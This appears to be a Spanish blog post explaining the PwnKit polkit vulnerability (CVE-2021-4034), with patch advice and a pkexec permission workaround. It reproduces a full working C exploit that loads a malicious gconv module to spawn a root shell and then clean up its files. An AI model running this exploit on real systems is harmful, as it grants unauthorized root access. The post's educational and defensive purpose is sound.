Press "Enter" to skip to content

Nueva vulnerabilidad Linux – PwnKit (CVE-2021-4034)

Acaba de aparecer una vulnerabilidad de corrupción de memoria (CVE-2021-4034) en PolKit, un componente utilizado en las principales distribuciones de Linux y en algunos sistemas operativos tipo Unix, puede ser fácilmente explotada por usuarios locales sin privilegios para obtener privilegios totales de root.

Esta vulnerabilidad es realmente interesante dado lo sencillo que es explotarla. Además, lleva pudiendose explotar desde que Polkit fue introducido en 2009. Durante 13 años hemos estado expuestos a esta corrupción de memoria sin darnos cuenta. ¿Cuantísimas otras vulnerabilidades de las que no somos conscientes quedarán aun por descubrir?

En este post te explicaré como funciona esta vulnerabilidad y te mostraré una Prueba de Concepto para que veas cómo explotarla.

 

Polkit

Polkit (Policy Kit) es una utilidad de Linux que permite a los procesos que se ejecutan con bajos privilegios comunicarse con los procesos con privilegios. Se puede utilizar el comando pkexec de Polkit para ejecutar comandos que requieren permisos de root.

CVE-2021-4034 - PwnKit

Una de las claves de  esta vulnerabilidad es que es tremendamente sencillo explotarla, tanto es así que aunque los investigadores de Qualys no hicieron público el exploit, en pocas horas aparecieron distintas personas compartiendo sus propios exploits sobre cómo explotar la vulnerabilidad.

Algo muy interesante es que aunque ees una vulnerabilidad que consiste en corromper la memoria, se puede explotar inmediatamente, de forma segura y con independencia del tipo de arquitectura del sistema operativo. Además, no es necesario que Polkit esté ejecutandose para poder explotar la vulnerabilidad.

Es una vulnerabilidad local, por lo que es necesario tener acceso a la máquina víctima para ejecutarla, pero proporciona una escalada de privilegios inmediata.

 

Solución

Ya han salido parches que corrigen este problema, por lo que basta con actualizar el sistema operativo para que la vulnerabilidad no pueda ser explotada.

Si esto no fuese posible, una solución temporal sería reducir los privilegios con los que corre el programa pkexec, mediante el siguiente comando:

chmod 0755 /usr/bin/pkexec

 

PwnKit - Prueba de Concepto

Empezemos explicando muy a grandes rasgos los detalles técnicos del exploit.

Normalmente las variables de entorno inseguras se eliminan de los programas SUID (los programas que se pueden ejecutar con los mismos privilegios que tenga el dueño del archivo). Esto lo hace siempre el dynamic linker (los programas ld-so y ld-linux.so) antes de que se ejecute la función main del programa.

El exploit se aprovecha de una vulnerabilidad de escritura fuera de los límites permitidos. Esta vulnerabilidad permite reintroducir dentro del entorno de pkexec una variable de entorno insegura como pueda ser LD_PRELOAD, una variable que le indica al programa las rutas donde se encuentran librerías compartidas u objectos que deben utilizar y que las carga en otra librería durante su ejecución.

Si quieres una explicación más técnica, puedes encontrarla en la nota informativa publicada por Qualys.

El exploit se aprovecha de esto para indicar en la variable de entorno el código malicioso que debe ejecutar con privilegios de administrador, lo que permite generar una shell desde la que tenemos acceso como usuario root a todo el sistema operativo:

#include 
#include
#include

char *shell =
"#include \n"
"#include \n"
"#include \n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

El código del exploit que he mostrado es de Andris Raugulis y lo puedes encontrar aquí, sin embargo existen otros como el de  Blasty que puedes encontrar aquí.

A continuación la demostración de la Prueba de Concepto, basta con compilar y ejecutar el archivo:

¡Y eso es todo! Espero que hayas disfrutado de este post. Como puedes ver, la vulnerabilidad PwnKit es fácilmente explotable y afecta a la mayoría de distribuciones de Linux. Hace unos meses salió otra vulnerabilidad, CVE-2021-3560, relacionada con pkexec que permitía una escalada de privilegios y que también llevaba casi una década expuesta en todas las distribuciones Linux y lista para ser explotada. ¿Cuántas más quedarán por descubrir?

Lethani.

Be First to Comment

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Mission News Theme by Compete Themes.